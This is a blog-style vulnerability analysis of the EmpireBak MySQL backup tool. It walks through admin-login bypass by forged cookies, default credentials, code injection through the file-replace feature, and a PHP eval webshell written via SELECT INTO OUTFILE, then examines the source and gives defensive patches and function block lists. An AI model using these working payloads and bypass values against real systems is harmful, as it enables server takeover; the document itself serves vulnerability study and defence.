• 帝国备份王(Empirebak) classfunctions.php、classcombakfun.php GETSHELL vul


    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库,帝国备份王(Empirebak)存在较多GETSHELL漏洞,本文逐一讨论从进入后台到GETSHELL的各种方式

    Relevant Link:

    http://help.aliyun.com/knowledge_detail.htm?knowledgeId=5980885&categoryId=8314968


    2. 漏洞触发条件

    0x1: 默认弱口令进入后台

    admin
    123456
    //默认安装弱口令

    0x2: 伪造cookie登录后台

    ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 
    ebak_bakrnd:35y5cCnnA4Kh 
    ebak_bakusername:admin 
    ebak_baklogintime:4070883661
    //使用以上cookie即可直接访问admin.php 

    使用firefox tamper data代理截包,访问下列网址

    http://localhost/EmpireBak2010/admin.php
    http://localhost/EmpireBak2010/DoSql.php

    在tamper data暂停的时候,修改cookie值,如果不存在就添加cookie这一项,可以直接免登进入指定后台页面

    Cookie=ebak_loginebakckpass=119770adb578053dcb383f67a81bcbc6;ebak_bakrnd=35y5cCnnA4Kh;ebak_bakusername=admin;ebak_baklogintime=4070883661

    0x3: 后台"管理备份目录"创建xx.asp目录进行IIS解析漏洞GETSHELL

    在新版帝国备份cms中已经修复,并且这个漏洞需要目标服务器是IIS,才存在这个漏洞,在实际情况中,大多数是PHP+APACHE的架构

    0x4: 备份数据、替换目录文件内容GETHSLL

    1. 登陆后先备份一次数据 
    2. 备份时可选择备份到的目录,默认有个safemod  
    3. 备份完毕后来到"管理备份目录",打包并下载 
    //备份后的safemod目录下所有的表都是以PHP保存的
    4. 查看下载下来的备份文件的内容
    5. Empirebak"管理备份目录"下有个替换文件内容功能,选择和刚才下载的同一个目录,点击替换文件内容:http://www.xxx.com/diguo/RepFiletext.php?mypath=safemod 
    6. 例如替换config.php的内容 
    /*
    <?php
        $b_table="ecs_ad_custom";
        $tb[ecs_ad_custom]=1;
    
        $b_baktype=0;
        $b_filesize=300;
        $b_bakline=500;
        $b_autoauf=1;
        $b_dbname="test";
        $b_stru=1;
        $b_strufour=0;
        $b_dbchar="auto";
        $b_beover=0;
        $b_insertf="replace";
        $b_autofield=",,";
        $b_bakdatatype=0;
        ?>
    */
    将字符: $b_bakdatatype=0;
    替换为: 
    $b_bakdatatype=0;
    phpinfo();
    7. http://xxx/diguo/bdata/safemod/config.php 
    显示phpinfo内容,GETSHELL成功

    0x5: 执行自定义SQL导出GETSHELL

    select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'c:/WEB ROOT PATH/xiaohan.php' 

    Relevant Link:

    http://www.yunsec.net/a/security/web/jbst/2011/0603/8816.html
    http://www.2cto.com/Article/201005/47257.html
    http://www.wooyun.org/bugs/wooyun-2010-078591
    http://0day5.com/archives/2771
    http://www.wooyun.org/bugs/wooyun-2010-078591
    http://www.sqlmap.cc/post-37.html


    3. 漏洞影响范围
    4. 漏洞代码分析

    0x1: 伪造cookie登录后台

    admin.php

    <?php
    require('class/connect.php');
    require('class/functions.php');
    //验证是否已经处于登录状态
    $lur=islogin();
    $loginin=$lur['username'];
    $rnd=$lur['rnd'];
    require LoadAdminTemp('eadmin.php');
    ?>

    classfunctions.php

    //是否登陆
    function islogin($uname='',$urnd='')
    {
        //die(var_dump($_COOKIE));
        $_COOKIE['ebak_loginebakckpass'] = "119770adb578053dcb383f67a81bcbc6"; 
        
        
        $_COOKIE['ebak_baklogintime'] = "4070883661";
    
        /*
        来自配置文件/class/config.php,漏洞的根源在于帝国CMS采用了默认值
        $set_username="admin";
        $set_outtime="60";
        */
        global $set_username, $set_outtime;
        //从$_COOKIE全局数组中获取bakusername,黑客注入的是: $_COOKIE['ebak_bakusername'] = "admin";
        $username = $uname ? $uname : getcvar('bakusername');
        //从$_COOKIE全局数组中获取bakrnd,黑客注入的是: $_COOKIE['ebak_bakrnd'] = "35y5cCnnA4Kh";
        $rnd = $urnd ? $urnd : getcvar('bakrnd'); 
        
        //正常通过
        if(empty($username) || empty($rnd))
        {
            printerror("NotLogin","index.php");
        }
        //黑客的目标是免登admin,这里一定相等
        if($username <> $set_username)
        {
            printerror("NotLogin","index.php");
        }
        /*
        验证cookie中的值
        $username = admin
        $rnd = 35y5cCnnA4Kh
        */
        Ebak_CHCookieRnd($username, $rnd); 
    
        $time=time();
        if($time-getcvar('baklogintime')>$set_outtime*60)
        {
            printerror("OutLogintime","index.php");
        }
        esetcookie("baklogintime",$time,0);
        $lr['username']=$username;
        $lr['rnd']=$rnd;
        return $lr;
    }

    classfunctions.php

    //验证COOKIE认证
    function Ebak_CHCookieRnd($username,$rnd)
    {
        /*
        $set_loginrnd为config.php里面的验证随机码,漏洞的根源在于这是一个默认值: $set_loginrnd="YFfd33mV2MrKwDenkecYWZETWgUwMV";
        */
        global $set_loginrnd; 
        //在默认值情况下,计算的结果永远是: $ckpass = 119770adb578053dcb383f67a81bcbc6
        $ckpass = md5(md5($rnd . $set_loginrnd).'-'.$rnd.'-'.$username.'-'); 
        //比较通过,判定为已登录,漏洞产生
        if($ckpass<>getcvar('loginebakckpass'))
        {
            printerror("NotLogin","index.php");
        }
    }

    0x2: 备份数据、替换目录文件内容GETHSLL

    phome.php

    elseif($phome=="RepPathFiletext")//脤忙禄禄脛驴脗录脦脛录镁
    { 
        Ebak_RepPathFiletext($_POST);
    }

    classcombakfun.php

    //替换文件内容
    function Ebak_RepPathFiletext($add)
    {
        global $bakpath;
        //替换目标文件的路径
        $mypath=trim($add['mypath']);
        //被替换的内容
        $oldword = Ebak_ClearAddsData($add['oldword']);
        //用于替换的新内容
        $newword = Ebak_ClearAddsData($add['newword']);
        $dozz=(int)$add['dozz'];
        if(empty($oldword)||empty($mypath))
        {
            printerror("EmptyRepPathFiletext","history.go(-1)");
        }
        if(strstr($mypath,".."))
        {
            printerror("NotChangeRepPathFiletext","history.go(-1)");
        }
        $path=$bakpath."/".$mypath;
        if(!file_exists($path))
        {
            printerror("PathNotExists","history.go(-1)");
        }
        $hand=@opendir($path);
        //遍历目标目录的所有文件,逐一进行文本替换
        while($file=@readdir($hand))
        {
            $filename=$path."/".$file;
              if($file!="."&&$file!=".."&&is_file($filename))
            {
                $value=ReadFiletext($filename);
                if($dozz)
                {    
                    //执行文本替换
                    $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);
                }
                else
                {
                    if(!stristr($value,$oldword))
                    {
                        continue;
                    }
                    $newvalue=str_replace($oldword,$newword,$value);
                }
                WriteFiletext_n($filename,$newvalue);
            }
        }
        printerror("RepPathFiletextSuccess","RepFiletext.php");
    }

    classfunctions.php

    //正则替换信息
    function Ebak_DoRepFiletextZz($oldword,$newword,$text)
    {
        $zztext=Ebak_RepInfoZZ($oldword,"empire-bak-wm.chief-phome",0);
        //无任何过滤,直接替换
        $text=preg_replace($zztext,$newword,$text);
        return $text;
    }

    0x3: 执行自定义SQL导出GETSHELL

    phome.php

    elseif($phome=="DoExecSql") 
    {
        Ebak_DoExecSql($_POST);
    }
    elseif($phome=="DoTranExecSql") 
    {
        $file=$_FILES['file']['tmp_name'];
        $file_name=$_FILES['file']['name'];
        $file_type=$_FILES['file']['type'];
        $file_size=$_FILES['file']['size'];
        Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$_POST);
    }

    classcombakfun.php

    //执行SQL语句
    function Ebak_DoExecSql($add)
    {
        global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;
        $query = $add['query'];
        if(!$query)
        {
            printerror("EmptyRunSql","history.go(-1)");
        }
        //数据库
        if($add['mydbname'])
        {
            $empire->query("use `".$add['mydbname']."`");
        }
        //编码
        if($add['mydbchar'])
        {
            DoSetDbChar($add['mydbchar']);
        }
        $query = Ebak_ClearAddsData($query);
        //调用Ebak_DoRunQuery执行最终的SQL语句
        Ebak_DoRunQuery($query, $add['mydbchar'], $phome_db_ver);
        printerror("RunSqlSuccess","DoSql.php");
    }
    
    //上传执行SQL
    function Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$add){
        global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;
        if(!$file_name||!$file_size)
        {
            printerror("NotChangeSQLFile","history.go(-1)");
        }
        $filetype=GetFiletype($file_name);//取得扩展名
        if($filetype!=".sql")
        {
            printerror("NotTranSQLFile","history.go(-1)");
        }
        //上传文件
        $newfile='tmp/uploadsql'.time().'.sql';
        $cp=Ebak_DoTranFile($file,$newfile);
        if(empty($cp))
        {
            printerror("TranSQLFileFail","history.go(-1)");
        }
        $query=ReadFiletext($newfile);
        DelFiletext($newfile);
        if(!$query)
        {
            printerror("EmptyRunSql","history.go(-1)");
        }
        //数据库
        if($add['mydbname'])
        {
            $empire->query("use `".$add['mydbname']."`");
        }
        //编码
        if($add['mydbchar'])
        {
            DoSetDbChar($add['mydbchar']);
        }
        //调用Ebak_DoRunQuery执行最终的SQL语句
        Ebak_DoRunQuery($query,$add['mydbchar'],$phome_db_ver);
        printerror("RunSqlSuccess","DoSql.php");
    }

    classfunctions.php

    //运行SQL
    function Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
    {
        $sql=str_replace("
    ","
    ",$sql);
        $ret=array();
        $num=0;
        //执行多语句拆分
        foreach(explode(";
    ",trim($sql)) as $query)
        {
            $queries=explode("
    ",trim($query));
            foreach($queries as $query)
            {
                $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
            }
            $num++;
        }
        unset($sql);
        foreach($ret as $query)
        {
            $query=trim($query);
            if($query)
            {
                if(substr($query,0,12)=='CREATE TABLE')
                {
                    mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
                }
                else
                {
                    mysql_query($query) or die(mysql_error()."<br>".$query);
                }
            }
        }
    }


    5. 防御方法

    0x1: 伪造cookie登录后台

    从最佳安全实践的角度来说,基于cookie的免登验证应该使用session机制来进行
    classfunctions.php

    //设置COOKIE认证
    function Ebak_SCookieRnd($username,$rnd)
    {
        //基于SESSION进行免登验证
        session_start();
        global $set_loginrnd;  
        //在cookie中加入随机因子
        $ckpass = md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-'.mt_rand() ); 
        //SESSION记录
        $_SESSION['ckpass'] = $ckpass;
        esetcookie("loginebakckpass",$ckpass,0);
    }
    
    //验证COOKIE认证
    function Ebak_CHCookieRnd($username,$rnd)
    {
        //基于SESSION进行免登验证
        session_start(); 
        global $set_loginrnd;  
        //获取SESSION内容
        $ckpass = $_SESSION['ckpass']; 
        if($ckpass<>getcvar('loginebakckpass'))
        {
            printerror("NotLogin","index.php");
        }
    }

    0x2: 备份数据、替换目录文件内容GETHSLL

    classcombakfun.php

    //替换文件内容
    function Ebak_RepPathFiletext($add)
    {
        global $bakpath;
        //替换目标文件的路径
        $mypath=trim($add['mypath']);
        //被替换的内容
        $oldword = Ebak_ClearAddsData($add['oldword']);
        //用于替换的新内容
        $newword = Ebak_ClearAddsData($add['newword']);
    
          /**/
        if( preg_match("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |()/is", $newword) )
        {
            die("Request Error!");  
        }
        /**/
    
        $dozz=(int)$add['dozz'];
        if(empty($oldword)||empty($mypath))
        {
            printerror("EmptyRepPathFiletext","history.go(-1)");
        }
        if(strstr($mypath,".."))
        {
            printerror("NotChangeRepPathFiletext","history.go(-1)");
        }
        $path=$bakpath."/".$mypath;
        if(!file_exists($path))
        {
            printerror("PathNotExists","history.go(-1)");
        }
        $hand=@opendir($path);
        //遍历目标目录的所有文件,逐一进行文本替换 
        while($file=@readdir($hand))
        { 
            $filename=$path."/".$file; 
              if($file!="."&&$file!=".."&&is_file($filename))
            { 
                $value=ReadFiletext($filename);
                if($dozz)
                {    
                    //执行文本替换
                    $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);
                }
                else
                {
                    //待搜索的目标字符串没有出现,跳过当前文件
                    if(!stristr($value,$oldword))
                    { 
                        continue;
                    }
                    $newvalue=str_replace($oldword,$newword,$value); 
                }
                /* inject check */ 
                $prePath = dirname(__FILE__) . DIRECTORY_SEPARATOR;  
                $url = "http://webshellcheck.oss-cn-hangzhou.aliyuncs.com/AliCheck.php";
                if (file_exists($prePath . "AliCheck.php")) 
                {
                    //check whether is latest 
                    if (ini_get('allow_url_fopen') == '1') 
                    { 
                        $content = @file_get_contents($url);
                        if (!empty($content)) 
                        {
                            if ( md5($content) != md5_file($prePath . "AliCheck.php") ) 
                            { 
                                die("not equal");
                                file_put_contents($prePath . "AliCheck.php", $content); 
                            } 
                        }  
                    } 
                    include_once $prePath . "AliCheck.php";
                    $scaner = new Pecker_Scanner();
                    $scaner->scanFileContent($filename,$newvalue);
                    $result = $scaner->getReport();  
                    if (!empty($result[$filename]['function'])) 
                    {  
                        die("Request Error!"); 
                    } 
                    $scaner = null; 
                } 
                else
                {
                    //file not exist, need download
                    if (ini_get('allow_url_fopen') == '1') 
                    {  
                        //check url is valid 
                        $content = @file_get_contents($url);
                        if (!empty($content)) 
                        {
                            file_put_contents($prePath . "AliCheck.php", $content); 
                        } 
                    }  
                }
                /**/
                WriteFiletext_n($filename,$newvalue);
            } 
        }
        
        printerror("RepPathFiletextSuccess","RepFiletext.php");
    }

    0x3: 执行自定义SQL导出GETSHELL

    classfunctions.php

    //运行SQL
    function Ebak_DoRunQuery($sql,$mydbchar,$mydbver)
    {
        $sql=str_replace("
    ","
    ",$sql);
        $ret=array();
        $num=0;
        //执行多语句拆分
        foreach(explode(";
    ",trim($sql)) as $query)
        {
            $queries=explode("
    ",trim($query));
            foreach($queries as $query)
            {
                $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
            }
            $num++;
        }
        unset($sql);
        foreach($ret as $query)
        {
            $query=trim($query);
            if($query)
            {
                /* SQL注入过滤 */
                if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $query, $matches))
                {
                    echo "request error!" . "</br>" . $matches[0];
                    die();
                }  
                /* */
    
                if(substr($query,0,12)=='CREATE TABLE')
                {
                    mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."<br>".$query);
                }
                else
                {
                    mysql_query($query) or die(mysql_error()."<br>".$query);
                }
            }
        }
    }

    0x4: 关闭备份功能

    一个最简单粗暴的方法就是直接关闭帝国备份
    /phome.php

    ..
    elseif($phome=="RepPathFiletext")
    { 
        //Ebak_RepPathFiletext($_POST);
        die("request error!");
    }
    ..


    6. 攻防思考

    Copyright (c) 2015 LittleHann All rights reserved

  • 相关阅读:
    mysql主从复制
    gitlab安装
    nginx新加模块编译
    flask编写prometheus采集指标脚本
    powerdns的安装
    grafana中prometheus的查询语句
    python编写prometheus的监控指标
    maven常用命令参数
    flask架构中的方法学习
    Java命名规范
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4519968.html
Copyright © 2020-2023  润新知